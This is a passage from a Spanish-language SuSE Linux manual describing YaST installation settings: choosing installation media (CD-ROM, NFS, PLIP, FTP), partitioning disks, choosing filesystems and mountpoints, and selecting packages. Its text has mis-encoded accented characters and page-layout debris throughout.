  5655.  
  5656.  
  5657.  
  5658.                            3.3       Ajustes de la instalaci≤n
  5659.  
  5660.  
  5661.                            Todos  los  ajustes  relevantes  para  la  instalaci≤n  se  efect·an  en  el  sub-men·
  5662.                            `Ajustes  de  la  instalaci≤n' (figura 3.2 en la pßgina siguiente).  Con
  5663.                            |E_____|scse puede salir de los men·s.
  5664.  
  5665.                            íNo  se  puede  efectuar  la  verdadera  instalaci≤n  antes  de  haber  definido  la
  5666.                            partici≤n destino! Existen algunas configuraciones que se pueden seleccionar
  5667.                            despuΘs de la instalaci≤n para actualizarlas.
  5668.  
  5669.  
  5670.  
  5671.                            3.3.1      Definir el idioma
  5672.  
  5673.  
  5674.                            Con `Elegir  el  idioma' se puede modificar el idioma de las plantillas de
  5675.                            YaST ; el valor se guarda en la variable LANGUAGE         en el fichero /etc/rc.
  5676.                            config (ver en la pßgina 437Configuraciones bßsicasHfootnote.76).
  5677.  
  5678.  
  5679.  
  5680. 84
  5681.        _______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
  5682.  *______________________
  5683.  
  5684.  
  5685.  
  5686.                  Figura 3.2: Men· `Ajustes  de  la  instalaci≤n'
  5687. 3.3.2      Distribuci≤n de teclado
  5688.  
  5689.  
  5690. Con  la  opci≤n  `Elegir  teclado'  se  puede  modificar  la  distribuci≤n  de
  5691. teclado,  cuyo  valor  se  almacena  en  la  variable  <KEYTABLE>  dentro  del
  5692. fichero /etc/rc.config (ver apartado 17.6 en la pßgina 438Inicializar hard-
  5693. ware local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76).
  5694.  
  5695.  
  5696.  
  5697. 3.3.3      El medio de instalaci≤n
  5698.  
  5699.  
  5700. El cuadro de dißlogo en la figura 3.3 ofrece la posibilidad de elegir el medio
  5701. desde el cual se quiere instalar todo el software, accediendo a Θl mediante la
  5702. opci≤n `Elegir  el  medio  de  instalaci≤n'.
  5703.                 Figura 3.3: Eligiendo la fuente de instalaci≤n en YaST
  5704.  
  5705.  
  5706.                                                                                                                                    *
  5707.  *     85
  5708. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5709.  *_______________________________________@
  5710.  
  5711.  
  5712.  
  5713.                            Por lo general se elige aquφ la opci≤n `Instalaci≤n  desde  CD-ROM' ya
  5714.                            que lo mßs frecuente es hacer la instalaci≤n directamente desde el CD-ROM
  5715.                            de la computadora.
  5716.  
  5717.                            Incluso cuando Linux no soporta directamente su lector CD-ROM tambiΘn es
  5718.                            posible instalarlo optando por la opci≤n `Instalaci≤n  desde  una  par-
  5719.                            tici≤n' del disco duro (ver tambiΘn apartado 3.3.5). Si el contenido del los
  5720.                            CDs se encuentra en alg·n directorio del ßrbol de directorios, se puede usar
  5721.                            la opci≤n `Instalaci≤n  desde  directorio'.
  5722.  
  5723.                            Con  las  opciones  `Instalaci≤n  desde  NFS'  e  `Instalaci≤n  desde
  5724.                            un  servidor  FTP'  es  posible  instalar  Linux  en  una  computadora  que  si
  5725.                            bien  no  tiene  su  propio  lector  CD-ROM  sφ  tiene  conexi≤n  de  +  Ethernet  a
  5726.                            una  computadora  con  lector  de  CD-ROM.  Para  realizar  esto  se  puede  con-
  5727.                            sultar  el  apartado  3.3.6  o  el  apartado  3.3.8  en  la  pßgina  88Instalaci≤n  vφa
  5728.                            FTPsubsection.3.3.8.
  5729.  
  5730.  
  5731.                            3.3.4      Instalaci≤n desde CD-ROM
  5732.  
  5733.  
  5734.  
  5735.                                                      Figura 3.4: Elecci≤n del lector CD-ROM
  5736.  
  5737.  
  5738.                            Cuando se instala Linux directamente desde el CD-ROM se especifica aquφ el
  5739.                            tipo de lector que se tiene. Si no hay seguridad sobre esto, se puede comenzar
  5740.                            probando lectores tipo `ATAPI  EIDE'.
  5741.  
  5742.  
  5743.                            3.3.5      Instalaci≤n desde una partici≤n del disco duro
  5744.  
  5745.                            En el caso que Linux no soporte directamente el lector CD-ROM, tambiΘn se
  5746.                            puede instalar el sistema en la computadora haciendo un desvφo a travΘs de
  5747.                            otro medio de instalaci≤n.
  5748.  
  5749.  
  5750.                            3.3.6      Instalaci≤n vφa NFS
  5751.  
  5752.                            Con la instalaci≤n vφa NFS el usuario avanzado tiene la posibilidad de instalar
  5753.                            de  manera  simple  y  confortable  varias  computadoras,  aunque  solo  una  de
  5754.  
  5755.  
  5756. 86
  5757.        _______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
  5758.  *______________________
  5759.  
  5760.  
  5761.  
  5762. ellas estΘ equipada con un lector CD-ROM o con un disco duro que albergue
  5763. la  informaci≤n  del  CDROM.  Para  efectuar  una  instalaci≤n  usando  NFS  se
  5764. deberφa estar acostumbrado a la configuraci≤n de este tipo de servidor.
  5765.  
  5766. Aprovechßndose de esta caracterφstica, tambiΘn se puede instalar un portßtil
  5767. que tenga una tarjeta red del tipo PCMCIA.
  5768.  
  5769.      Figura 3.5: Introducci≤n de parßmetros de red para la instalaci≤n NFS
  5770.  
  5771.  
  5772.  
  5773. La instalaci≤n vφa NFS no solo es posible para computadoras que estßn conec-
  5774. tadas por Ethernet, sino que tambiΘn lo es para una computadora conectada a
  5775. un servidor a travΘs del puerto paralelo. Para portßtiles y notebooks esta car-
  5776. acterφstica tiene una importancia especial. Si se desea efectuar una instalaci≤n
  5777. asφ, es necesario evidentemente, elegir para el arranque de la computadora un
  5778. kernel que contenga el soporte PLIP. Aparte de Θste hay que hacer algunos
  5779. ajustes adicionales para que la interface PLIP funcione correctamente.
  5780.  
  5781. Si se conecta directamente con el servidor NFS, entonces la direcci≤n de la
  5782. contraparte es la misma que se debe introducir posteriormente como direcci≤n
  5783. del servidor NFS. La interface PLIP serß en la mayorφa de los casos plip1
  5784. al igual que los parßmetros del hardware, que no deberφan diferenciarse del
  5785. estßndar.
  5786.  
  5787. íSi se usa el puerto paralelo como interfase PLIP, Θste ya no se podrß usar
  5788. como  puerto  para  una  impresora!   por  lo  tanto,  al  conectar  la  impresora  a
  5789. este tipo de puerto, Θsta reacciona en la mayorφa de los casos con un ''Reset''
  5790. continuo cuando el driver PLIP se activa.
  5791.  
  5792. Entonces, en la siguiente pantalla, se debe introducir la direcci≤n IP del servi-
  5793. dor NFS tal como el directorio que contiene los ficheros de instalaci≤n. íNat-
  5794. uralmente, el servidor tiene que exportar este directorio a la computadora que
  5795. lo pide!
  5796.  
  5797.  
  5798.  
  5799.                                                                                                                                    *
  5800.  *     87
  5801. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5802.  *_______________________________________@
  5803.  
  5804.  
  5805.  
  5806.                                                 Figura 3.6: Configuraci≤n de una conexi≤n PLIP
  5807.  
  5808.  
  5809.  
  5810.                            3.3.7      Instalaci≤n desde una partici≤n
  5811.  
  5812.                            Esta  opci≤n  sirve  sobre  todo  para  seguir  instalando  software  una  vez  que
  5813.                            el sistema Linux funciona.  Ademßs representa una posibilidad para instalar
  5814.                            componentes desde alg·n dispositivo para el cual a·n no existφa soporte en
  5815.                            en forma de drivers en el momento de la producci≤n de los CDs.
  5816.  
  5817.                            Por lo tanto, para poder acceder ahora desde YaST a este dispositivo, primero_  ___
  5818.                            se arranca YaST . Hecho esto, se cambia a otra consola (p. ej.  con |A____l|t+|F___|2
  5819.                            a la segunda consola virtual) y se efect·a allφ un login como `root'.
  5820.  
  5821.                            Desde esta consola se debe +  montar (ingl. mount) a mano el lector CD-ROM
  5822.                            sobre un determinado directorio, introduciendo p. ej.
  5823.  
  5824.                                  tierra:  #  mount  -tiso9660  /dev/cdrom  /cdrom
  5825.  
  5826.                            Ver  tambiΘn  el  apartado  19.11.2  en  la  pßgina  485Montaje  y  desmontaje  de
  5827.                            sistemas de ficherossubsection.19.11.2.
  5828.  
  5829.                            Ahora  es  posible  instalar  de  manera  completamente  normal.   Con  este  fin
  5830.                            se  introduce  en  la  siguiente  pantalla  (figura  3.7  en  la  pßgina  siguiente)  el
  5831.                            directorio que contiene los ficheros de instalaci≤n; este es el directorio sobre
  5832.                            el cual se ha montado el CD a±adiendo el path suse.
  5833.  
  5834.                            Si por ejemplo se ha montado el dispositivo (o la partici≤n de un disco duro)
  5835.                            sobre el directorio /cdrom, se introduce entonces tal como en la figura 3.7 en
  5836.                            la pßgina siguiente:
  5837.  
  5838.                                  /cdrom/suse
  5839.  
  5840.  
  5841.                            3.3.8      Instalaci≤n vφa FTP
  5842.  
  5843.                            Como  en  el  caso  de  NFS,  se  trata  de  una  posibilidad  adicional  de  instalar
  5844.                            SuSE     Linux en una computadora que no tiene (soportado) ning·n lector CD-
  5845.                            ROM. El requisito es en efecto, haber hecho ya la configuraci≤n base de la
  5846.                            red.
  5847.  
  5848.  
  5849. 88
  5850.        _______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
  5851.  *______________________
  5852.  
  5853.  
  5854.  
  5855.                        Figura 3.7: Introducci≤n del directorio fuente
  5856.                    Figura 3.8: Indicaciones para la instalaci≤n vφa FTP
  5857.  
  5858.  
  5859.  
  5860. `Servidor  FTP  [Nombre|IP]'                        El nombre o la direcci≤n IP del servidor
  5861.       FTP.
  5862.  
  5863. `Directorio  del  servidor'                       El lugar en el servidor en el que se encuen-
  5864.       tra el directorio suse.
  5865.  
  5866. `[  ]  ┐Usar  Proxy?'                Solo se marca cuando se estß seguro de necesitar un
  5867.       FTP-Proxy; por lo general no se necesita ninguno. Por el contrario sφ que
  5868.       se necesita un FTP-Proxy real; no se puede usar HTTP-Proxies!
  5869.  
  5870. `Proxy  [Name|IP]'                 Se  usa  solamente  cuando  se  ha  marcado  la  opci≤n
  5871.       anterior.
  5872.  
  5873. `[X]  ┐Puerto  FTP  predeterminado?'                             Preferiblemente marque esta op-
  5874.       ci≤n.
  5875.  
  5876. `Puerto  [n·mero]'                 Generalmente debe estar en 21  .
  5877.  
  5878.  
  5879.                                                                                                                                    *
  5880.  *     89
  5881. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5882.  *_______________________________________@
  5883.  
  5884.  
  5885.  
  5886.                            `[X]  ┐FTP  an≤nimo?'                 Se debe marcar siempre que se deba acceder a un
  5887.                                  servidor FTP p·blico.
  5888.                            `Login'        Si no ha marcado la opci≤n anterior, entonces se debe proporcionar
  5889.                                  aquφ el nombre de usuario y, en la pr≤xima opci≤n,
  5890.                            `Password'           la contrase±a.
  5891.                            `Timeout  [segundos]'                   60   es un buen valor.
  5892.                            `Directorio  tmp  local'                    El directorio local en el cual se deben almace-
  5893.                                  nar los ficheros temporalmente.
  5894.  
  5895.                            Advertencia: YaST  solo establece conexiones FTP pasivas
  5896.  
  5897.  
  5898.                            3.4       Particionar disco(s) duro(s)
  5899.  
  5900.                            El punto mßs crφtico durante la instalaci≤n de un nuevo sistema operativo es
  5901.                            el de particionar el disco duro. Por lo general cada sistema operativo necesita
  5902.                            una partici≤n propia.
  5903.                            ________________________________________________________________________________________________________*
  5904.  *________|||
  5905.                            |                                                                                                       *
  5906.  *        |||
  5907.                            |  En el caso de Linux existe tambiΘn la posibilidad de instalar el sistema op-                         *
  5908.  *        |||
  5909.                            |  erativo sobre un sistema de ficheros MS-DOS. Se aconseja tomar esta posi-                            *
  5910.  *        |||
  5911.                            |                                                                                                       *
  5912.  *        |||
  5913.                            |  bilidad solo cuando se trata de probar un poco el nuevo sistema operativo,                           *
  5914.  *        |||
  5915.                            |  ya que el rendimiento es mucho menor en comparaci≤n a una instalaci≤n                                *
  5916.  *        |||
  5917.                            |                                                                                                       *
  5918.  *        |||
  5919.                            |  sobre una partici≤n propia de Linux.  Ademßs, el sistema no es tan seguro                            *
  5920.  *        |||
  5921.                            |  porque no existen p. ej.  programas de chequeo del sistema de ficheros para                          *
  5922.  *        |||
  5923.                            |                                                                                                       *
  5924.  *        |||
  5925.                            |  MS-DOS y DOS puede influenciar a Linux durante su operaci≤n.                                         *
  5926.  *        |||
  5927.                            |_______________________________________________________________________________________________________*
  5928.  *________|||_
  5929.  
  5930.                            Dßndole una partici≤n propia a Linux resulta muy ·til dividir el sistema en
  5931.                            varias  particiones.   Al  final  son  el  gusto  y  la  propia  filosofφa  los  que  de-
  5932.                            ciden  sobre  la  distribuci≤n  de  un  sistema  Unix,  por  lo  tanto  no  existe  un
  5933.                            ·nico  camino  para  todos  los  casos    (ver  apartado  2.8  en  la  pßgina  70Par-
  5934.                            ticionar  para  principiantessection.2.8  y  apartado  2.9  en  la  pßgina  71Parti-
  5935.                            cionar para avanzadossection.2.9); el apartado 2.10.1 en la pßgina 77Estable-
  5936.                            cer  particionessubsection.2.10.1  muestra  un  ejemplo  detallado  sobre  parti-
  5937.                            cionar.
  5938.  
  5939.                            En  todo  caso,  se  debe  generar  una  partici≤n  de  intercambio  (ingl.  swap)
  5940.                            para  aumentar  la  memoria  virtual  (+  Memoria)  de  la  computadora     (ver
  5941.                            apartado  2.9.1  en  la  pßgina  72El  tama±o  de  la  partici≤n  de  intercambio
  5942.                            (swap)subsection.2.9.1) .
  5943.  
  5944.                            Por razones de rendimiento no se deberφa optar por la posibilidad de generar
  5945.                            un fichero de intercambio ya que todos los accesos a este fichero se realizarφan
  5946.                            a travΘs del sistema de ficheros. El fichero de intercambio no es ninguna alter-
  5947.                            nativa a una partici≤n de intercambio, especialmente cuando la computadora
  5948.                            no tiene mucha memoria.
  5949.  
  5950.                            Si la computadora tiene mßs de un disco duro, se pide seleccionar el que se
  5951.                            va a particionar en el siguiente paso.  DespuΘs de esto se entra en un men·
  5952.                            que indica la divisi≤n actual del disco (imagen 3.9 en la pßgina siguiente).
  5953.  
  5954.                            Con las flechas |"__|y |#__|se puede repasar_la lista de_la_particiones disponibles
  5955.                            y modificar el tipo_de_la partici≤n con |F___3|.  Con |F___4|se borra una partici≤n
  5956.                            existente y con |F___|5se puede generar una partici≤n nueva.
  5957.  
  5958.  
  5959. 90
  5960.        __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
  5961.  *______________________
  5962.  
  5963.  
  5964.  
  5965.                                 Figura 3.9: Configurar particiones
  5966.  
  5967.  
  5968.  
  5969. La modificaci≤n de una partici≤n (con |F___|_3) es absolutamente obligatoria para
  5970. generar  una  partici≤n  de  intercambio  (swap).     TambiΘn  es  posible  que  no
  5971. haga  falta  particionar  el  disco,  por  ejemplo  cuando  se  ha  decidido  usar  a
  5972. partir de ahora una partici≤n para Linux que actualmente ocupa otro sistema
  5973. operativo.   En  este  caso  simplemente_ mueva  la  barra  indicadora  sobre  la
  5974. partici≤n correspondiente y pulse |F___|3.
  5975.  
  5976. TΘngase en cuenta que no hay ning·n requisito especial por parte de Linux
  5977. sobre el tipo de partici≤n a usar:
  5978.  
  5979. Se puede instalar Linux sobre una partici≤n primaria al igual que sobre una
  5980. l≤gica dentro de una partici≤n extendida.
  5981.  
  5982. Las particiones l≤gicas se introdujeron debido a que en la tabla de particiones
  5983. solamente hay espacio para un total de cuatro entradas. Es necesario conver-
  5984. tir una partici≤n en una extendida cuando se necesitan mßs que estas cuatro
  5985. particiones, por lo tanto, dentro de la partici≤n extendida se generan las par-
  5986. ticiones l≤gicas.1
  5987.  
  5988. No es necesario arrancar la computadora (+  Boot) inmediatamente despuΘs
  5989. de  haber  particionado,  sino  que  tiene  la  posibilidad  de  definir  el  contenido
  5990. de la instalaci≤n.  De esta forma puede darse cuenta de la posible escasez de
  5991. espacio en una partici≤n y modificarla antes de ser generada realmente.
  5992.  
  5993. Es solo hasta el momento de salir de YaST  cuando se realiza la partici≤n real
  5994. fφsica. íDespuΘs es absolutamente necesario reiniciar la computadora!
  5995.  
  5996.  
  5997.  
  5998. 3.4.1      Establecer partici≤n/sistema de ficheros destino
  5999.  
  6000. DespuΘs de haber dividido el disco duro en particiones,  se deben asignar a
  6001. Θstas los sub-directorios en el ßrbol de directorios de Linux. Para ello elija la
  6002. opci≤n `Establecer  las  particiones  destino'.
  6003. 1      ____________________________________________________
  6004.    El programa fdisk de DOS denomina a las particiones extendidas y l≤gicas como partici≤n
  6005. DOS extendida y unidad l≤gica, respectivamente, aunque este concepto es independiente del
  6006. sistema operativo.
  6007.  
  6008.  
  6009.                                                                                                                                    *
  6010.  *     91
  6011. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6012.  *_______________________________________@
  6013.  
  6014.  
  6015.  
  6016.                                                     Figura 3.10: Establecer sistemas de fichero
  6017.  
  6018.  
  6019.  
  6020.                            El ejemplo (figura 3.10) muestra las particiones de un sistema con un disco
  6021.                            duro.   Aquφ  es  posible  definir  para  cada  partici≤n  si  debe  y  c≤mo  debe  ser
  6022.                            formateada y tambiΘn en cußl punto del ßrbol de directorios debe montarse
  6023.                            posteriormente.
  6024.  
  6025.                            íHay que definir necesariamente una partici≤n como partici≤n de raφz (ingl.
  6026.                            root)!  Esta se denomina partici≤n de raφz porque representa la raφz de todos
  6027.                            los directorios.  Por lo tanto se le asigna el punto de anclaje (+  Mountpoint)
  6028.                            `/ ').
  6029.  
  6030.                            Usando las teclas de funci≤n se activan las distintas funciones para manipular
  6031.                            los sistemas de fichero y normalmente solo se pueden modificar particiones de
  6032.                            Linux. Cuando la barra de desplazamiento se encuentra sobre la partici≤n de
  6033.                            otro sistema operativo, todas las funciones se desactivan excepto la definici≤n
  6034.                            del punto de anclaje.
  6035.  
  6036.  
  6037.  
  6038.                            Definir tipo
  6039.  
  6040.  
  6041.                            Con |____|F3se puede seleccionar entre los dos distintos sistemas de ficheros ext2
  6042.                            y reiserfs       .
  6043.  
  6044.  
  6045.                            `ext2'       ~ El sistema de ficheros ext2     (ingl. second extended-2 filesystem)
  6046.                                  se ha establecido hace muchos a±os como el sistema de ficheros estßndar.
  6047.  
  6048.                            `reiserfs'           ~  ReiserFS  Es  un  sistema  de  ficheros  de  ·ltima  generaci≤n.
  6049.                                  Aunque  es  a·n  joven  ya  se  usa  en  muchas  partes  (p. ej. en  algunos  de
  6050.                                  nuestros servidores internos); es imprescindible consultar la informaci≤n
  6051.                                  que se encuentra en /usr/doc/packages/reiserfs/README.
  6052.  
  6053.                                  El  grupo  de  desarrollo  alrededor  de  Hans  Reiser  y  Chris  Mason
  6054.                                  trabaja  en  estrecha  colaboraci≤n  con  SuSE     y  ha  conseguido  hacer  del
  6055.                                  ReiserFS un ''Journaling Filesystem''.  ''Journaling'' asegura un chequeo
  6056.                                  muy  rßpido  (dentro  de  pocos  segundos)  del  sistema  de  ficheros  (ingl.
  6057.                                  filesystem check), incluso para servidores grandes.
  6058.  
  6059.  
  6060. 92
  6061.        __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
  6062.  *______________________
  6063.  
  6064.        _______________________________________________________________________________________________________________________||
  6065.        ||||||||  íNo  se  debe  usar  el  ReiserFS  en  combinaci≤n  con  Software-RAID  1  o                   |||            |
  6066.        ||||||||| RAID 5.  Estas restricciones no existen para un RAID por hardware.  El                         ||             ||
  6067.        ||||||||  tama±o mφnimo de una partici≤n con ReiserFS es actualmente  de 34 MB.                          |||            |
  6068.        ||||||||_______________________________________________________________________________________________________________||_
  6069.  
  6070.       Para evitar problemas es aconsejable optar por la configuraci≤n estßndar
  6071.       de SuSE     Linux y generar una partici≤n /boot adicional con el sistema de
  6072.       ficheros ext2     e instalar allφ LILO .
  6073.  
  6074.       El  paquete  reiserfs,  serie  a  contiene  las  utilidades  para  el  ReiserFS.
  6075.       Hay informaci≤n actualizada en:
  6076.  
  6077.                        http://devlinux.com/projects/reiserfs/
  6078.  
  6079.  
  6080. Mountpoint ~ Punto de anclaje
  6081.  
  6082. Pulsando  la  tecla  |____|F4es  posible  definir  d≤nde  se  debe  montar  la  partici≤n
  6083. correspondiente en el ßrbol de directorios.
  6084.  
  6085. Es obligatorio asignar a una partici≤n el directorio raφz (/).  Las particiones
  6086. DOS/Windows se pueden montar sobre algunos nombres de directorio como
  6087. p. ej.   /dosc  para  la  primera  partici≤n  DOS  y  /dosd  para  la  segunda,  etc.,
  6088. para poder encontrarlas posteriormente con facilidad.
  6089.        _______________________________________________________________________________________________________________________||
  6090.  
  6091.        ||||||||  Se  deben  introducir  todos  los  puntos  de  anclaje  con  el  nombre  de  path              |||            |
  6092.        ||||||||  absoluto. Los nombres no pueden contener caracteres especiales.                                ||             |
  6093.        ||||||||                                                                                                 ||             |
  6094.        ||||||||  Los directorios /etc, /bin, /sbin, /lib y /dev deben encontrarse en la                         ||             |
  6095.        ||||||||  misma partici≤n raφz, ya que contienen informaci≤n para montar los demßs                       ||             |
  6096.        ||||||||                                                                                                 ||             |
  6097.        ||||||||  sistemas de fichero y asφ poder arrancar el sistema                                            ||             |
  6098.        ||||||||_______________________________________________________________________________________________________________||_
  6099.  
  6100. íExiste algo especial para las particiones DOS/Windows! Es posible integrar-
  6101. las de tres formas diferentes en el ßrbol de ficheros.
  6102.  
  6103.   o   Primero como una partici≤n DOS    (= msdos     ) con todas las restricciones del
  6104.       sistema de ficheros DOS.
  6105.  
  6106.   o   Segundo como FAT-Win95          (= vfat    ), lo que permite el uso de nombres
  6107.       de fichero largos y
  6108.  
  6109.   o   Tercero  como  partici≤n  UMSDOS     ,  lo  que  permite  el  uso  de  nombres  de
  6110.       fichero largos en particiones DOS ''normales''. Solo para albergar ficheros
  6111.       de Linux en una partici≤n DOS se precisa UMSDOS      . No es ning·n mΘtodo
  6112.       eficiente si la partici≤n DOS solo sirve para el intercambio de ficheros. Si
  6113.       es posible, evite usarlo
  6114.  
  6115.       A parte de esto existen en este caso todas las caracterφsticas de un sistema
  6116.       de  ficheros  Linux  como  propietarios,  derechos  de  acceso  e  incluso  se
  6117.       pueden generar ficheros especiales como p. ej.  links sobre el sistema de
  6118.       ficheros DOS.
  6119.  
  6120.  
  6121. Men· de experto para ajustes finos
  6122.  
  6123. El men· de experto (ver figura 3.11 en la pßgina siguiente) permite realizar
  6124. algunos ajustes finos.
  6125.  
  6126. La densidad de +  Inode indica cußl es el tama±o promedio de ficheros que se
  6127. espera para una partici≤n.  La cantidad de inodes determina cußntos ficheros
  6128.  
  6129.  
  6130.                                                                                                                                    *
  6131.  *     93
  6132. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6133.  *_______________________________________@
  6134.  
  6135.  
  6136.  
  6137.                                  Figura 3.11: Men· de experto para configurar los sistemas de fichero
  6138.  
  6139.  
  6140.  
  6141.                            se pueden almacenar en una partici≤n.  Cuando esta cantidad es demasiado
  6142.                            peque±a,  es  posible  que  una  partici≤n  cuente  como  llena,  aunque  existan
  6143.                            todavφa bloques libres en la partici≤n.
  6144.  
  6145.                            Si  por  ejemplo  se  elige  una  densidad  de  4096  Bytes  por  inode,  significa
  6146.                            que todos los ficheros deben tener en promedio un tama±o de 4 KB. Si por
  6147.                            el  contrario  en  este  tipo  de  partici≤n  se  usan  exclusivamente  ficheros  con
  6148.                            un tama±o de solo un Kilobyte,  entonces la partici≤n ya cuenta como llena
  6149.                            cuando solamente se usa una cuarta parte del espacio disponible, por falta de
  6150.                            espacio en el sistema de ficheros.
  6151.  
  6152.                            Un  valor  aceptable  para  la  densidad  suele  ser  el  de  4  KB  por  inode  (mßs
  6153.                            inodes  por  partici≤n  significa  naturalmente  menos  espacio  neto  en  la  par-
  6154.                            tici≤n,  porque  tambiΘn  hace  falta  grabar  la  tabla  con  los  inodes).   Usando
  6155.                            una partici≤n como ßrea spool p. ej.  para Netnews, es mejor usar un valor de
  6156.                            2048 Bytes por inode, ya que los artφculos suelen ser ficheros muy peque±os.
  6157.                            Otra raz≤n para trabajar con una cantidad alta de inodes es la integraci≤n del
  6158.                            Live-System .   En  este  caso  se  enlazan  al  sistema  de  ficheros  alrededor  de
  6159.                            40.000 ficheros usando enlaces (ingl. links) simb≤licos y cada uno necesita
  6160.                            un inode.
  6161.  
  6162.                            La definici≤n del Tama±o de bloque influye sobre la duraci≤n de un chequeo
  6163.                            del sistema de ficheros;  de hecho la duraci≤n del chequeo sube cuadrßtica-
  6164.                            mente con el inverso del tama±o de bloque (o sea, con la mitad de tama±o de
  6165.                            bloque, resulta cuatro veces mßs largo el tiempo para el chequeo del sistema
  6166.                            de ficheros).  Un valor razonable para el tama±o de bloque es 1024     (= 1 KB)
  6167.                            para particiones hasta 1 GB de tama±o y 4096    (= 4 KB)      para particiones hasta
  6168.                            4 GB.
  6169.  
  6170.                            En este men· se pueden definir tambiΘn las condiciones que se deben cumplir
  6171.                            para que se efect·e un chequeo del sistema de ficheros; es posible considerar
  6172.                            la frecuencia con la que monta el sistema de ficheros.
  6173.  
  6174.                            El ßrea reservada para `root': El superusuario debe tener un ßrea reservada
  6175.                            si existen particiones usadas por utilidades del sistema y por parte de usuarios
  6176.  
  6177.  
  6178. 94
  6179.        __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
  6180.  *______________________
  6181.  
  6182.  
  6183.  
  6184. normales.   No  hace  falta  que  la  partici≤n  de  /home  ofrezca  espacio  para
  6185. `root'.
  6186.  
  6187. TambiΘn es posible indicar el Comportamiento en caso de error.  Cuando el
  6188. sistema  de  ficheros  tiene  un  error  es  posible  definir  que  todo  contin·e  tra-
  6189. bajando  (continue        ),  que  el  sistema  de  ficheros  se  remonte  en  modo  solo-
  6190. lectura (remount-ro         ) o que el sistema se pare al instante (panic     ). La opci≤n
  6191. mßs adecuada depende del uso de la computadora; en todo caso solo modi-
  6192. fique el valor por defecto continue        si sabe bien lo que hace!
  6193.  
  6194.  
  6195. Formatear las particiones
  6196.  
  6197. Usando la tecla |____|F6se puede determinar c≤mo formatear las particiones. Si se
  6198. usan discos duros modernos, reciΘn salidos de la fßbrica, no hace falta activar
  6199. la comprobaci≤n de sectores da±ados durante el formateo,  no obstante,  por
  6200. razones de seguridad tambiΘn se puede activar esta opci≤n pero el proceso de
  6201. formatear durarß mucho mßs tiempo.
  6202.  
  6203.  
  6204. Leer el fichero fstab
  6205.  
  6206. Pulsando |F___|_7es posible leer un fichero fstab ya existente (ingl. file system
  6207. table).   Se  indican  tambiΘn  las  entradas  en  fstab  que  no  correspondan  a
  6208. ning·n sistema de ficheros del disco duro (swap, proc, nfs-mount, lectores
  6209. CD-ROM, etc). Estas entradas se indican en gris ya que no pueden ser modi-
  6210. ficadas y por tanto se mantienen constantes grabando el fichero fstab.
  6211.  
  6212. La  mencionada  caracterφstica  es  necesaria  cuando  se  desea  actualizar  el
  6213. sistema  (ver  apartado  15.1.3  en  la  pßgina  394Actualizaci≤n  con  YaST1
  6214. subsection.15.1.3), ya que en tal caso YaST  necesita saber sobre cußles par-
  6215. ticiones se distribuye Θste. Justamente en el caso de tener varias versiones de
  6216. Linux instaladas en una misma computadora, se necesita saber cußl versi≤n
  6217. se actualiza y cußl no.
  6218.  
  6219.  
  6220. 3.4.2      Configurar el Logical Volume Manager
  6221.  
  6222. Puede encontrar informaci≤n acerca de la configuraci≤n del ''Logical Volume
  6223. Manager'' (LVM) en el ''howto'' oficial de LVM que se encuentra en:  http:
  6224. //linux.msede.com/lvm/.
  6225.  
  6226.  
  6227. 3.4.3      Instalaci≤n dentro de un directorio
  6228.  
  6229. YaST  permite instalar todo el sistema dentro de un directorio desde la com-
  6230. putadora en marcha.  Esto permite p. ej. actualizar una computadora vφa NFS,
  6231. configurar un ''entorno chroot''  o instalar Linux desde una computadora en
  6232. marcha a un segundo disco duro.
  6233.  
  6234. Se trata de un modo de instalaci≤n reservado a casos especiales. Antes de in-
  6235. stalar con este mΘtodo hay que procurar tener montado el dispositivo deseado
  6236. sobre el directorio en cuesti≤n.
  6237.  
  6238. Es  muy  importante  preocuparse  por  la  capacidad  de  arranque  del  sistema
  6239. instalado efectuando los cambios necesarios.  TambiΘn es muy probable que
  6240. se deba modificar el fichero fstab que YaST  genera en la instalaci≤n nueva.
  6241.  
  6242.  
  6243.                                                                                                                                    *
  6244.  *     95
  6245. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6246.  *_______________________________________@
  6247.  
  6248.  
  6249.  
  6250.                            Indique  entonces  en  el  cuadro  de  dißlogo,  en  cußl  directorio  quiere  que  se
  6251.                            instale el sistema.
  6252.  
  6253.  
  6254.                            3.5       Escoger / Instalar paquetes
  6255.  
  6256.                            DespuΘs de haber terminado la configuraci≤n de los sistemas de fichero, elija
  6257.                            en el men· principal `Escoger  /  Instalar  paquetes' para escoger los
  6258.                            paquetes  que  se  desea  instalar  y  despuΘs  arrancar  la  instalaci≤n.   Existe  la
  6259.                            posibilidad de generar, grabar y cargar perfiles de instalaci≤n propios.
  6260.  
  6261.  
  6262.  
  6263.                                                    Figura 3.12: Elecci≤n de paquetes a instalar
  6264.  
  6265.  
  6266.                            TambiΘn  existe  la  posibilidad  de  arrancar  la  instalaci≤n  misma  desde  este
  6267.                            men· o echar un vistazo para averiguar lo que pasarφa en caso de instalar la
  6268.                            configuraci≤n actualmente seleccionada.
  6269.  
  6270.  
  6271.                            3.5.1      Cargar configuraci≤n
  6272.  
  6273.                            Bajo la opci≤n `Cargar  configuraci≤n' se encuentran un par de config-
  6274.                            uraciones preparadas por nosotros.  Puede pasar por las_distintas_configura-__________
  6275.                            ciones (conjuntos de software) usando las flechas |"_ |y |#_ |; espacio | ____________ |
  6276.                            selecciona o deselecciona una opci≤n.
  6277.  
  6278.                            El sistema bßsico permite arrancar Linux desde el disco duro para la insta-
  6279.                            laci≤n posterior de paquetes adicionales.
  6280.  
  6281.                            Si ha generado perfiles de instalaci≤n propios, es posible activarlos aquφ.  Se
  6282.                            trata de un procedimiento especialmente ·til para instalar varias computado-
  6283.                            ras con la misma configuraci≤n.
  6284.  
  6285.                            Al aplicar una configuraci≤n diferente sobre un sistema ya instalado, se deben
  6286.                            marcar para borrar todos los paquetes ya instalados que no correspondan a la
